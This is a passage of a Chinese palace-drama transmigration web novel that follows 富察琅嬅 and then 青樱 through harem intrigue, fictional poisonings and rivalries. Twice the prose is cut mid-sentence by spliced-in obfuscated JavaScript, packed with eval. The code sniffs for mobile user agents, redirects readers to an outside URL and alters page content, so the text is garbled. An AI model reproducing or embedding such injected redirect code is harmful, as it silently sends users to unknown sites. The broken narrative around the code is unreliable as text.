而且,富察琅嬅本人从十几岁就开始接连产子,管家又事必躬亲,身子本就不太好了。她自从穿过来后,就常觉得腰部酸痛,每次来月经都疼的厉害。这身子,是怎么调理都调理不好了。 高晞月本来因为零陵香的事,心里多少有些埋怨皇后的,觉得自己是替皇后挡了灾。如今听皇后这番话,又觉得皇后亦是可怜人,想到永链如今也病病歪歪的,心里越发地心疼起皇后来。 富察琅嬅见状,继续道:“我是真没想到,金玉研能那么心狠,平日看着大大咧咧,和我们姐妹说笑,对仪贵人这一胎也很是关心。还有绿筠,她说那话,到底是有意,还是无意?晞月,零陵香的事,是我对不起你,只是经历这么多,我真的感激上苍,这后宫里,还有你这个好妹妹陪着我。” 高晞月忍不住流泪道:“富察姐姐,我何其不感激上苍,碰上了你这样好的主母,将我当亲妹妹爱护。我替你挡了这一灾,也算全了,我们姐妹多年的情谊。” 两人感动的抱在一起,富察琅嬅哭道:“好在,我没有看错你。你不负我,我便不负你。” 将高晞月哄回来后,富察琅嬅便将下一步的重点,放在了为自己、高晞月与永链调理身体上。她有点后悔没让意欢进宫,意欢这人,除了恋爱脑癔症脑外,倒没有太大的错处,不喜欢谁就是嘴两句,不惩罚人也不害人。且意欢家世好,人也算聪明,能快速提拔起来协助自己管事。 幸好,富察琅嬅早对渣渣龙的后宫嫔妃死心了,这几年着重培养了一堆管事的宫女,哪怕自己与高晞月身体都不太好了,太后也没能找到机会抢走宫权。 如今魏嬿婉年纪太小,富察琅嬅再冷血,也不能让她这么小就当了嫔妃。所以魏嬿婉被她安排去伺候景瑟,狗皇帝再好色,也不能直接对亲闺女的宫女下手。 乾隆八年,永链病逝。 没有母亲逼着读书,也没有人用芦花害他,太医日日请平安脉,富察琅嬅精心养着,永链依然病死了。 到底是养了几年的孩子,富察琅嬅有些伤心,但这伤心也是有限的。 她早就给皇帝打了预防针,说自己身子不好,侍寝也是能推便推。皇帝不可能猜到他的皇后会不想给他生孩子,可是他又不能为了生嫡子强迫皇后,或者换个身子好的皇后。 皇帝心里更恨太后,都是这个老妇,害自己不能再有嫡子了! 金玉研生的四阿哥被高晞月抱去养了,玉蝶也改了,宫里严禁提起金玉研的事。 富察夫人这几年频频进宫,想劝女儿再生个嫡子,埋怨她为何将四阿哥给高晞月做助力,还要再塞几个忠心的奴婢。富察琅嬅左耳进右耳出,嗯嗯啊啊的糊弄过去,把富察夫人气个半死。 若历史无法更改,那高晞月眼看着就没两年了,把四阿哥给她,哄她高兴,让她有点盼头,也不枉她这么多年对富察琅嬅掏心掏肺的好。 富察琅嬅看着如今宫里,自己与高晞月都身子不太好,原本的宠妃纯妃成了不受宠又蠢毒的苏绿筠,有富察琅嬅压着,她这辈子都不可能再起来了。而原本的嘉妃,连个嫔都还没混上呢,儿子也只生了一个,就香消玉殒了。 再往下扒拉,海常在至今只是常在,在富察琅嬅的引导下,她一心只想着让如懿生下儿子,自己根本不争宠。婉答应也实在是烂泥扶不上墙,被富察琅嬅勉强提拔到常在的位置便动不了了,皇帝不喜欢她,她便只能熬资历了。玫答应倒是不安现状,可是她并不知道自己真正失宠的原因,她越蹦跶,皇帝就越觉得她别有用心。 选秀进来的柔贵人与顺常在,年轻漂亮性情柔顺,一个比一个脑子空,皇帝虽很是宠爱,却一直没说升位份的事。富察琅嬅看得出来,皇帝将她们两个当宠物养着,他不希望宫里再有心机深沉的女人出现了。 新人老人这德行,倒显得和皇帝三天两头冷战和好的如懿,更像个名副其实的宠妃了。只可惜每次皇帝想给她升位份,总要出个什么事让两人吵架,然后晋封的事就黄了,导致她多年来一直在嫔位原地踏步。 富察琅嬅都有些同情皇帝了,明明历史上乾隆的那些妃子里美貌有才情的不少,可惜这里都变成了恶毒笨瓜与文盲。也苦了她,矮子里拔将军,除了高晞月外无人可用,魏嬿婉再能耐也不可能拔苗助长,一下子就能用上手。 没有太后通过齐汝暗中下药,没有人装神弄鬼,没有皇帝的厌弃,没有内务府的怠慢,高晞月在各项物质水平拉满的情况下,依然循着原本的时间去世了。 高晞月的死,让富察琅嬅验证了心里的猜想,他们,最终还是要回到原本的历史轨道上去。永璋、金玉研可以提前离世,但是永链、高晞月却不可能延迟死亡。 本就存在的皇子、公主可以不降生,但是本不存在的孩子绝对不可能来到这世上。比如,仪贵人那个明明产下,却没有序齿的孩子,就仿佛根本不存在过一般。 富察琅嬅的身子一天不如一天,哪怕她没有强行再生一个儿子,她的生机依然在一点点流逝。她恼过,恨过,最后平静下来。 横竖是要死的,那我便要轰轰烈烈的去死,以我所选定的方式。 富察琅嬅点燃了安息香,这一年来,不闻这香,她是睡不着的。闻的多了,便产生了抗性,故而皇帝已沉沉睡去,她却依然清醒。 富察琅嬅看着皇帝的睡颜,此时的他没有白日里那般面目可憎。 她可以拿身份压制如懿,摆正妻范气死如懿,放任内务府暗地里克扣如懿。她又不在乎什么孩子、情分,只有她让如懿破防的份,如懿根本伤不到她分毫。 但是皇帝,这个狗男人,从她穿来的第一天,就一直在让她吃瘪。她不得不顺着他的意思,帮他解决各种烂摊子,哄着他捧着他,真是让人恶心透了。 还有狗屁富察家,天天拿孝道绑架她,真以为她没脾气? 屠龙,自然要亲自动手,才来得痛快! 5.青樱(1) “我就说不能选富察琅嬅,死的太早了。” “可是,戏份又多,从头活到尾的,只有钮钴禄氏和弘历了。” “选如懿吧!我想看如懿!” “这人有意思,就让她穿成如懿吧。” “希望这个能让我们看得久一点。” -------------------------------------------------------------------- 什么?我竟然穿成了如懿? 哦不,还叫青樱呢! 青樱打量着镜中真·年轻水灵的脸庞,破碎的心恢复了,我死了,我又活了。 此时她刚入宝亲王府一个月,已经将府里该得罪的人都得罪完了。 青樱看着手上的镯子,嘻嘻一笑,带着阿箬去了高晞月的院子。 高晞月正在弹琵琶自娱自乐,见到青樱来了,一脸晦气,却不得不起身请安。 “嫔妾见过侧福晋。” 青樱道了声免礼,顺手扶了高晞月一把,高晞月正受宠若惊,不知今日青樱怎么待自己如此亲近,便见她一把撸下了福晋赏自己的那个镯子。 “福晋也忒小气,哪有送人不送一对,只送单个的。好妹妹,这镯子我要了,回头我再送一对新的!” 不等高晞月反应过来,青樱便风一般的跑了。 富察琅嬅正在院中看账册,青樱不待通传就进来了,将那对镯子啪的一下放在富察琅嬅桌上。 富察琅嬅脸色一变,本要训斥对方不懂规矩的话卡在喉咙里。 “福晋,你好蠢,用这法子害人,生怕没人发现?” 素练忙将门掩上,色厉内荏道:“侧福晋慎言!” 青樱不理她,将镯子戴上,看着富察琅嬅道:“福晋,王爷可马上就要回来了。” 富察琅嬅做不出把镯子抢回来的土匪行为,素练又被搞不明白状况但是“管它呢跟着一起莽”的阿箬拦住,她后悔不迭,怎么忘了乌拉那拉氏最擅长的就是打胎,自己真是班门弄斧了。 “是我不好,我,你,你要怎样?”富察琅嬅心虚道。 “破财免灾吧,我这就回院子,等着福晋的赏赐。哦对了,先给我一对新镯子,我说了要赔给高格格的。” 富察琅嬅看了眼素练,素练转身回屋拿了一个盒子出来,递给了青樱。青樱打开看了一眼,满意的合上,交给阿箬。 富察琅嬅与素练的眼神全程都盯着青樱手腕上晃动的镯子,可惜这俩都不是物理宫斗的选手,有贼心没贼胆,只能眼睁睁看着青樱主仆扬长而去。 青樱才出福晋的院子,便见到高晞月来向福晋告状来了。高晞月讶然看着青樱,一时不知该做什么反应,直到阿箬提醒道:“高格格,行礼啊!” 高晞月忍气吞声行了礼,道:“侧福晋太霸道了,嫔妾,嫔妾定要让福晋为嫔妾做主!” 青樱笑道:“好了,逗你玩呢,给你赔礼。” 说罢示意阿箬将那盒子递给茉心,走出两步,又回头叮嘱道:“福晋正忙呢,你要告状,等一会再去。” 一头雾水的高晞月主仆在福晋门口站了半响,终于还是没敢进去打扰福晋,决定等第二天请安时再来告状。 同样一头雾水但是爽到了的阿箬都等不及回自己院子,在路上便追着青樱问道:“这镯子有什么蹊跷?为什么福晋这么怕你?” 青樱直到回了院子,将人都打发出去,才告诉阿箬:“这镯子里有零陵香,是让女子不孕的神器!” 阿箬瞠目结舌,怒道:“福晋太过分了!奴婢这就去二门处守着王爷!一定要让王爷休了这毒妇!” 青樱道:“不行,不能去,这是我用来拿捏富察琅嬅一辈子的把柄。” 阿箬不理解,她冲上来要把镯子收走:“您怎么还敢戴着。” 青樱躲开,制止阿箬道:“我就要戴着,你敢管我,我就把你送回乌拉那拉家。” 两人玩了一阵老鹰捉小鸡,最后阿箬气喘吁吁败下阵来,被青樱以打发回家为威胁,到底是不敢再多嘴了。 青樱打发阿箬去休息,然后让惢心去请弘历。 素练心惊胆战看着弘历进了青樱的院子,匆匆回去跟福晋禀报了。她倒是很想把弘历劫走,问题是镯子的事不解决,她劫得了一天,劫不了一辈子啊。 富察琅嬅呆呆的坐着,恨不得化身祥林嫂。我真傻,我早该知道的,我就不该这么做。 主仆熬夜清点了半天自己的小库房,整理出了一堆名贵器物,预备第二天送给青樱。 富察琅嬅一直等到第二天弘历出门,都没等到他的怒火,这才相信青樱是真的没有告诉弘历。她几乎要哭了,从昨天青樱进来,到现在,她不知道自己是怎么过来的,真宁可弘历现在就废了自己,好过这么煎熬。 高晞月进来就看见富察琅嬅憔悴的样子,惊得连告状都忘了,对福晋嘘寒问暖,富察琅嬅强打着精神回应她。渚英第二个到,她是从不多话的人,见富察琅嬅精力不济,也不像高晞月那般没眼色的问个没完。 青樱依然姗姗来迟,对如今年轻英俊的弘历还算满意。当然,弘历对昨晚更加放得开的青樱更满意,对青樱的称呼从小青梅变成了小辣椒,肉麻得青樱差点萎了。 “哎呀臣妾又来迟了,福晋勿怪,勿怪啊!” 高晞月见到她,又想起自己要告状的事了。 富察琅嬅听了高晞月的话,强笑道:“是我考虑不周了,回头我再送各位妹妹一套新头面吧。若无事,就散了吧,侧福晋留一下,我有事吩咐你。” 高晞月不知富察琅嬅留下青樱是不是要训斥对方,不情不愿地跟着渚英离开了。 富察琅嬅轻叹一声,道:“你准备什么时候告诉王爷?” “你什么时候再害我,我就新账旧账一起算。” 富察琅嬅苦笑道:“我若说,我这辈子,就干了这一件坏事,你信么?” “论迹不论心,我只看福晋日后如何做事。” “我知道了,你放心,我不会再做蠢事了。” 青樱无语,你怎么也让我放心上了? 高晞月没有回自己院子,而是在福晋门口不远处晃悠,想通过观察一会出来的青樱的神态,来判断福晋有没有为自己出气。结果她便看见青樱身后跟着好几个拿着赏赐的宫女,浩浩荡荡的出来了。 “可恶!福晋怎么也惯着她!” 之后几年,渚英生下了弘历的长子,在第二次生产时,难产而亡。 富察琅嬅第一时间去和青樱道:“我可没出手,不关我的事!太医和稳婆都可以作证!” 青樱道:“我知道,我没怀疑你。” 富察琅嬅看着她手腕,道:“这怎么不换个戴,我送了那么多镯子,你非要日日戴着它?你知道吗,你快把我逼疯了!” 青樱笑了笑,道:“就你这心理素质,还敢害人呢?看看你,再看看渚英,我不想生孩子,我既怕痛,又怕死,还怕孩子夭折。我是为了自己戴的,不是在点你。” 富察琅嬅几乎坐不住,震惊道:“你,你,里面的零陵香,你没有取出来?” 青樱摇头,安抚道:“你放心,我将镯子封口堵死了,除非拿铁钳剪断,否则是不会被人发现的。” 相处好几年了,富察琅嬅也看不明白青樱到底在想什么。青樱对自己并不恭敬,但除了争宠外,也不会生事,在人前也从不明着违逆自己。 素练一直觉得青樱觊觎福晋的位置,富察琅嬅看着又不像,尤其是青樱竟然不打算生孩子。要知道,这后宅女人的地位,就看孩子与家世啊!青樱是觉得自己能一辈子这么得宠吗? 两人每次聚在一起说小话,高晞月总能闻风过来,生怕福晋更亲近青樱,不亲近自己了,这回也是如此。 见高晞月来了,青樱如泥鳅一般迅速的溜走了。高晞月看着富察琅嬅的脸色,担心道:“福晋,您别伤心了,渚英妹妹的后事还要劳您安排呢。” 渚英死后,永璜由富察琅嬅与高晞月一同抚养。如今富察琅嬅已有一子一女,还要管家,实在精力有限,不得不把高晞月培养起来。毕竟青樱是只管吃喝玩乐的,管事,是绝对不肯能的! 弘历每个月大半时间都歇在青樱这里,青樱和他遇到过所有后宅的女人都不一样,他们每次都可以玩不同的PLAY,有剧情,有人设,还有服装道具,可以俗,也可以雅。 今天,青樱演山大王,弘历演被她抢上山的压寨夫郎。明天,青樱就是来报恩的田螺姑娘,弘历演冒名顶替的恩公。 感谢这是个癫剧,若真穿到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不可对太后不敬,进了宫,别和府里似的,没规矩。”皇帝轻斥道。 青樱都摆明车马和宜修划清界限了,太后便直接让人毒死了宜修,也没搞什么姑侄二选一了。 这回太后没法以为姑母守孝,压着青樱不入宫了,只能在位份上卡青樱。富察琅嬅拟定的位份被打回来一次后,便直接叫了青樱过来。 青樱看了眼册子,笑道:“贵妃,皇后娘娘可真疼臣妾。” “晞月是格格后抬成的侧福晋,都封了贵妃,你的位份,总不能比她还低。” 富察琅嬅一边说,一边忍不住瞟着青樱的手腕,这已成了她的一个习惯。 “太后不会同意的,她到现在还住在寿康宫,正愁没有筹码与陛下谈条件呢。她不敢拿你或者晞月作筏子,那便只能找上臣妾了。”青樱不以为意道,“你就先封臣妾为嫔吧,若太后不满意,就封答应,官女子也行,先把这关过了,回头再升上来。” 富察琅嬅拒绝道:“不行!这样太委屈你了!我可不想担一个苛责嫔妃的骂名!” “皇后是个体面人,可惜太后不是。你要觉得我委屈,就让富察家多多上折子替臣妾在前朝说两句好话,臣妾家里没人,帮不上什么忙。”青樱道,“陛下那里,臣妾去解决,没有光咱们焦头烂额,他反倒躲懒的道理。” 富察琅嬅把青樱叫来,就是指望青樱帮她解决问题。就像青樱说的,自己太重脸面规矩,遇上太后这种拿身份压制的,只能靠青樱这样混不吝的性子去反抗。 太后自觉被青樱摆了一道,哪怕没有移宫事件,她都要卡一下青樱的位份的。所以富察琅嬅的提议一次次被驳回,最后竟然真的定了官女子,连封号都没有。 太后驳回时有多痛快,看见旨意时就有多震惊。她也要脸啊,她只是想看帝后为难,想下青樱的脸,想让他们来求自己,想移居慈宁宫,不是真的要让青樱当官女子啊! 让一个侧福晋当最低等的官女子,太后也知道这事太跋扈太丢人了。 本来后宫这些女人封什么位份,大臣们是不太管的,只要不是太出格。问题是这次太出格了,大臣们刚因为景仁宫那位娘娘的暴毙闹过一阵子,如今又出了侧福晋当官女子的荒唐事,把皇帝连带太后都批了一顿。 连太后当年在寺庙修行时怀上孩子的事都翻出来了,说她品行有亏。 便是有讷亲为太后说话,张廷玉、马齐、高斌等也不是吃素的。 “这下子,慈宁宫也不用修缮了,太后只能一直和其他太妃一起,窝在寿康宫了。”青樱得意道,“臣妾就说,这法子管用吧!” 皇帝点了点她的鼻子,道:“这鬼主意,只有你这个促狭鬼能想得出来。” 6.青樱(2) 青樱当了两天官女子,便火箭一般蹿升至贵妃,入住翊坤宫。 海兰备了一堆礼品,兴高采烈要去恭贺,被高晞月喊住了。 “她当贵妃,你那么高兴做什么?你的主位是本宫!你一会和本宫一起去,不许给她拿那么多东西!她也不缺你这三瓜两枣。” 海兰怯生生应了,高晞月盯得紧,她只能让人把东西减到三成,高晞月才满意地走了。 高晞月有意拖延时间,海兰也就只能苦等,谁知却把青樱本人等来了。 “哎呀我看你们一直不来,想着一会儿陛下该来看我了,怕跟你们撞上,就亲自上门收礼了。哦就是这些吧。” 高晞月见惯她没脸没皮的样子,倒也不吃惊,道:“什么你呀我的,都入宫了,这称呼怎么还不改?你这规矩,真是越学越回去了。” “这不是给你机会去告我的状嘛!去呀去呀!”青樱冲高晞月挥挥手,捏了一旁站着的海兰脸一把,道,“过两天我宫里收拾利索了,一起来打牌啊!” “本宫不去,皇后娘娘给本宫安排了好多事呢,又不像你这个大闲人。” 海兰眼巴巴看着高晞月:“那,嫔妾能去吗?” “谁管你。”高晞月瞪了她一眼,气呼呼的回屋了。 感谢这是个没规矩的癫宫,国孝期间,皇帝可以听琵琶,嫔妃可以打牌。 青樱最喜欢和海兰打牌了,海兰可会记牌算牌了,出的全是自己需要的牌,每次都能让青樱和。阿箬和惢心就总是差一口气。 这日请安后,富察琅嬅把青樱与高晞月留下了。高晞月就不必说了,青樱虽然不管事,但是看问题角度刁钻,富察琅嬅有事习惯和这两人商议。 富察琅嬅决定裁减后宫用度,青樱还没等她说完,便开口道:“臣妾可吃不了苦!趁着年轻貌美,当然要好好打扮自己,可以不是最名贵的,但一样要是最漂亮的!” 富察琅嬅被打断了也不生气,她已被磨炼出来了。 “本宫不强求你们,只是自己以身作则,你们自愿就好。说实话,咱们能俭省出多少?只是为天下人做表率,为陛下分忧。前线在打仗,咱们在后面做不了什么,只能聊表心意了。” “臣妾追随皇后娘娘!”高晞月忙道,白了青樱一眼,“您甭管她。” “皇子公主们身边的人也要裁减吗?都是活泼好动的年纪,一个看不出就跑没影了,如今这点人也将将够用呢。”青樱道。 “还不是你带的,闹的孩子们都不好好上学,天天在外面野。”高晞月不满道。 青樱哎呀一笑,道:“活泼点好,天天闷在屋里,都成书呆子了。” 富察琅嬅道:“孩子们身边就不裁减了,晞月,你盯紧些,快入冬了,可别冻病几个。” 她顿了顿,又补充道:“你自己也小心些,你有寒症受不了凉,咸福宫的炭火供应照旧。” 高晞月喜滋滋道:“多谢皇后娘娘关心。” 富察琅嬅与她们商议好细节,第二日请安时公布,有两个贵妃带头,自然没人敢有异议。 其他人没有青樱这么头铁,连高晞月都穿得朴素起来,这一年都不再做新衣裳,只穿旧衣,她们也只能往更简朴里打扮了。 等到新鲜出炉的玫答应穿着名贵的暖锻来请安时,金玉研忍不住道:“妹妹身上这身,是江宁新进贡的暖缎吧。这暖缎难得,连皇后宫里都没有,皇上便赏给了妹妹,可真是疼你呢。” “皇后娘娘宫里有没有,你怎知道,你去长春宫库房里翻过?”青樱道,不就是玩心直口快人设吗,谁不会啊! 金玉研被青樱怼惯了,也不恼,笑道:“嫔妾没见皇后娘娘穿过,所以如此猜测,是嫔妾唐突了。也是,皇后娘娘都说了要简朴,便是有,也不会穿这么名贵的料子。” 玫答应道:“嫔妾不懂这些,皇上赏了,嫔妾就穿了。” 她看向皇后,一脸挑衅道:“却不知,惹恼了皇后娘娘,还请皇后娘娘勿怪,皇上喜欢,嫔妾也没办法。” 高晞月怒道:“放肆!谁许你这般与皇后娘娘说话!回你的永和宫去,学好规矩再出来!” 玫答应压根不怕的,道:“皇后娘娘都没说话,高贵妃就不要替皇后娘娘定嫔妾的罪了吧!” 眼看着高晞月脸都气红了,青樱开口了。 “玫答应,劳烦你过来。暖缎难得,本宫也没见过,想好好瞧一瞧。” 玫答应本不想听任青樱唤之即来,但转念想到什么,笑了一声,站起来走到青樱跟前,略张开双臂,道:“娴贵妃娘娘瞧清楚了吗?” 玫答应生的娇小玲珑,青樱虽坐着,胳膊抬高些,也能打到对方的脸。 虽然只是很轻的扇了一巴掌,还是惊呆了一屋子第一次见识物理宫斗的女人。 “去,去和皇帝告状,说本宫打你脸了。“青樱漫不经心道,”这后宫里,除了太后与皇后娘娘,就属本宫最嚣张,你,不够格。” 富察琅嬅深吸一口气,爽,好爽,她不止一次地想像青樱这般活着。规矩,脸面,家族,一重一重束缚她,让她不能生气,不能嫉妒。所以她需要青樱这个嘴替,如今又多了手替这个功能。 “娴贵妃,玫答应与你同为嫔妃,你不可以掌掴她。”富察琅嬅道,“本宫罚你禁足一月,你可有异议?” 这几年青樱不是没有被罚过禁足,只是这禁足仅禁她出去,不禁别人来看她,她本就是个宅女,根本不怕的。对皇帝而言,青樱禁足,就相当于给他们之间的PLAY加了一个背景设定,他只会更高兴。 “臣妾领罚。”青樱站起来,把玫答应往旁边推了推,“臣妾告退,这就回去禁足了。” 玫答应还要说什么,富察琅嬅却不想听,道:“后宫和睦最重要,本宫容不下挑唆生事的人。” “皇后娘娘偏心!嫔妾不服!”玫答应道。 高晞月道:“那你去和陛下告状吧,没人拦着你。” 请安结束,玫答应气呼呼的走了,其他嫔妃看了半响热闹,因玫答应接连几日侍寝而起的忌惮与妒忌都没了。 “也就是娴贵妃了,敢打皇上的新宠。”金玉研乐道。 皇帝听了玫答应的小报告,无奈道:“你惹她做什么?” 玫答应哭道:“明明是她欺负嫔妾!嫔妾第一次请安,她当着满宫嫔妃的面打嫔妾!她不就是仗着自己位分高,瞧不起嫔妾是琵琶伎出身!” 皇帝道:“她不是那样的人,好了,别哭了,朕现在忙,明天再去看你。” 好久没玩禁足PLAY了,他今晚要去翊坤宫。 玫答应没得到预料的反应,见皇帝不耐烦的样子,只能无功而返。她早知道娴贵妃嚣张,却没想到如此嚣张。她都拼着挨了一巴掌,想要拉娴贵妃下水,结果皇帝却不向着自己。 待听说今晚皇帝宿在了翊坤宫,玫答应便晓得,如今的自己,论宠爱,根本不能和娴贵妃抗衡。 怪不得太后那般忌惮她,这女人在皇帝心里的份量,实在不小。 玫答应只好转去针对高晞月,只可惜高晞月自看见青樱云淡风轻打玫答应的那巴掌后,深感自己竟然被玫答应气得动怒这件事显得很掉价。 她从不直接与玫答应说话,都是眼神示意茉心或者星璇。且自青樱打过玫答应后,富察琅嬅对高晞月耳提面命,不许她也对玫答应动手,否则这后宫真成角斗场了。 等到青樱解了禁足出来,玫答应除了成功把全后宫女人都惹恼了,一无所获。 “一个小答应,上蹿下跳,想拖皇后娘娘和两个贵妃下水,她背后肯定有人。”青樱对富察琅嬅道。 “看出来了。”富察琅嬅道,“不管她是谁的人,咱们都不理她,她蹦跶累了,就老实了。” 富察琅嬅对白蕊姬发动后宫冷暴力技能,如今哪怕是老好人纯嫔和婉答应,都不愿与玫答应来往了。太后如今在寿康宫里越发沉不住气,逼得玫答应必须尽快搞出事端,她这么迫切的搞事欲望,直接让所有人都对她退避三舍。 也就皇帝对她还很宠爱,让她还有能搞事的底气。 但这底气很快也被削弱了,青樱向皇帝举荐了阿箬。 玫答应是皇帝登基后纳的第一个也是目前唯一一个新人,皇帝喜欢她的年轻、貌美、低微的出身与桀骜不驯的脾气。 阿箬打破了这个唯一,她也年轻、貌美,跟随青樱多年,深谙皇帝的喜好,而且初封就是常在,压了玫答应一头。 说白了,这些女人无论家世性格如何,皇帝就是喜欢年轻漂亮的女人。 皇帝来翊坤宫更勤快了,正殿有青樱,西偏殿有阿箬,各有各的风格。 大年初一,帝后二人携众嫔妃及皇子、公主去寿康宫拜见太后。 太后自恃身份,绝对不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288127|166580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会主动向皇帝提起移宫的事,只会通过不断挑事来向皇帝施压。 今天,被捏的软柿子便是富察琅嬅。因为上一次位份事件,太后每次驳回皇后的提议,皇后都从不反驳,而是顺着她的意思一改再改,最后的旨意也是皇帝直接下的,所以太后只当皇后是个好欺负的。 太后指责皇后简朴,导致后宫众人都穿的灰扑扑的。 “皇上膝下才这几个皇子,正是要开枝散叶为皇家绵延子嗣传承万代的时候,你让嫔妃们一个个打扮得跟刚入关的女人似的,你让皇帝愿意睁开眼看谁?女人的心思不落在打扮自己上,自然就只盯着别人去了,后宫里也不安宁起来。因小失大,皇后,你实在太不上算!” “太后娘娘放心,皇后再节俭,也不敢短了您的用度。且皇上又不是爱慕美色的轻浮人,臣妾姿色平平,不也坐到贵妃的位置了吗。”青樱道。 太后冷笑道:“哀家与皇后说话,你插什么嘴?” “臣妾怕太后不喜臣妾,故而有意表现自己,是臣妾马屁拍在马腿上,请太后恕罪。” 富察琅嬅斥道:“知道太后不喜欢你,还不安静呆着。” 随即对太后道:“儿臣恭听皇额娘教诲。” 皇后递了台阶,太后便顺势下了,又提起贵子的说话。 青樱夸张做作地扭动了下身子,道:“太后娘娘当初不就是诞下了先帝的贵子,虽然是在宫外怀的,但是先帝极为宠爱。怪不得太后如此相信贵子的说法呢。” 太后脸色立刻沉了下来,皇帝怒斥道:“越发没规矩了,太后也是你能置喙的?回去禁足!” 青樱立刻起身,恭恭敬敬行礼告退。 太后道:“既如此没规矩,哀家派两个人去教娴贵妃规矩,皇帝不会心疼吧?” 皇帝赔笑道:“哪里的话,皇额娘尽管派人去,规矩教不好,就不许她出来。” 这规矩怎么教,还不是他这个皇帝说了算,太后的权威是他给的,他能让太后一辈子住在寿康宫,也能让太后派出去的人只能听他的话! 太后依然没有意识到今时不同往日,还以为自己震慑住了皇帝。只是被青樱那样一打岔,她的确不好再继续提贵子的说法,只能从其他地方挑刺。 青樱在,众人神经紧绷,生怕太后的怒火牵连到其他人身上。但青樱不在,众人又无热闹可看,只能听太后在那耍威风。 高晞月见太后一直斥责皇后,有心替皇后分辨几句,只是既没有青樱的口才,也没有青樱的胆子。皇帝倒是很维护皇后,他知道太后就是想要宫权,自然不可能让皇后落个能力不足的话柄。 太后派去的嬷嬷才进翊坤宫,就见皇帝笑眯眯地在正殿里坐着。她们立刻收起趾高气昂的神色,恭恭敬敬地向皇帝与娴贵妃、慎常在请安。 阿箬道:“陛下与贵妃娘娘有几句话要说,两位嬷嬷先去偏殿中坐一坐吧。” 说完便拉着那两人走了,与李玉一同,对这两人一顿大棒+甜枣,忽悠她们对太后阴奉阳违。 青樱用帕子擦了擦不存在的眼泪,柔弱道:“幸而有陛下为臣妾撑腰,不然,臣妾真要被磋磨死了。” 皇帝道:“你胆子也太大了,什么都敢说。” “陛下在跟前,臣妾胆子自然大。况且,太后能毒死臣妾的姑母,也能毒死臣妾,臣妾向她摇尾乞怜,难道她就会饶过臣妾吗?” 这也是皇帝担心的一点,哪怕青樱不是他的宠妃,他的后宫,太后想弄死谁就弄死谁,万一哪天要弄死自己呢?太后可是有亲儿子的。 皇帝会这样想,自然是青樱多年来潜移默化的结果。死几个女人孩子的,皇帝短暂的心痛后并不会往心里去。但若事涉他的安危,呵呵,他就绝不会这么放任太后揽权弄事了。 而且,太后也不过就背靠钮祜禄氏,这还是先帝给认的亲。皇后背后可是富察氏,贵妃的阿玛高斌官职也越来越高,皇帝越发有底气与太后抗衡了。 尤其是他登基后与太后的第一次交锋,让太后至今都蜗居在寿康宫不得动弹,这次成功给了皇帝很大的信心。 这一切,都是青樱推动的结果,皇帝,只可以做富察氏与高斌的赘婿,不可以做其他人的赘婿! 因为富察琅嬅好对付,青樱与她处好了,便买一赠三,连带着与富察家、高氏父女也处好了。 啊富察琅嬅,我可真稀罕你哦~ 7.青樱(3) 春暖花开时,青樱解了禁足,换上轻薄的春装,去公主所看景瑟了。 两人在景瑟院中射箭,青樱准头稀烂,景瑟力气尚小,箭射的歪歪扭扭,都不在靶子上。只是两人互相嘲讽对方嘲的都很开心,最后景瑟没力气了,把弓一扔,和青樱咬耳朵道。 “慧娘娘想收养大哥,皇额娘没有松口呢。” “儿大避母,你二哥如今都要避着皇后了,慧贵妃要收养早说啊,现在孩子都那么大了,不太合适吧。” “皇额娘也是这个意思呢,只是慧娘娘不听呢。” 青樱算是发现了,无论平时这些人看起来多正常,一旦到了过剧情的时候,智商都要回归到癔症阙值。 景瑟和她说这些,就是希望她能去劝劝高晞月,省得高晞月与富察琅嬅离心。 这么多年,他们这几个孩子,除了最小的永璋,都是由富察琅嬅与高晞月一同养着的,景瑟实在是不懂为何高晞月要多此一举,非要将永璜记在自己名下。 青樱去找高晞月时,她正因为皇后不肯让她养永璋生闷气。 青樱也不着急,坐在一旁品茶吃点心,直到高晞月自己沉不住气,问道:“难道你不急吗?” 见青樱不说话,高晞月掐着花瓶里的花,低声道:“连玫答应都有身孕了。” “我啊,每天就想着吃喝玩乐,吃吃美人豆腐,哄皇上开心,好更好、更长远的吃喝玩乐。”青樱道,“孩子,有就有,没有就没有呗。” “我不信,你装的!其实你也盼着能有个孩子,是不是!是不是!”高晞月推着青樱的肩膀,总不能只有她一个人患得患失、自怨自艾。 青樱仔细打量着高晞月的脸,道:“你看你,愁眉苦脸的,都长皱纹了。” 高晞月大惊,奔到梳妆台前坐下,细细看着:“在哪?在哪?” 茉心噗嗤一声小道:“娴贵妃娘娘逗您呢,您这脸蛋光滑得跟豆腐似的,一点皱纹都没有!” 高晞月气的拍了下桌子,道:“你出去,谁许你进来了?” 青樱溜达到她跟前,双手虚捧了一下她的脸:“就是你啊,我的小可爱!” 高晞月拍开她的手,道:“谁是你的小可爱了!不许喊我小可爱!” “行,你是皇上的小可爱,你是皇后娘娘的小可爱,独独不是我的小可爱。”青樱捧着自己的脸,“我是你的小可爱。” 高晞月被肉麻的不行,道:“你在皇上跟前也这样吗?” “偶尔吧。” 高晞月实在想不明白,皇帝怎么就这么喜欢青樱,青樱这人,她就不是个正常人! 被青樱骚扰了两天,高晞月终于不再和富察琅嬅冷战了,有青樱的对比,她可太爱皇后娘娘了! “金~玉~妍~” 金玉研身子一顿,这宫里会这么喊她的,只有一个人。她循着声音抬头望去,走到假山的亭子中,笑道:“嫔妾给娴贵妃娘娘请安。” 青樱指着对面的座位道:“坐吧。” 金玉研道:“今儿天儿有些凉,娘娘怎么不找个避风的地方坐着。” “因为这儿啊,正好能看见御膳房去往慎刑司的路啊。”青樱道,“给玫答应养鱼虾的小禄子,在鱼食里混了朱砂,你看,现在正被人押着去慎刑司问话呢。” 金玉研猛地起身往那处望去,只见路上空荡荡的,一个人都没有。 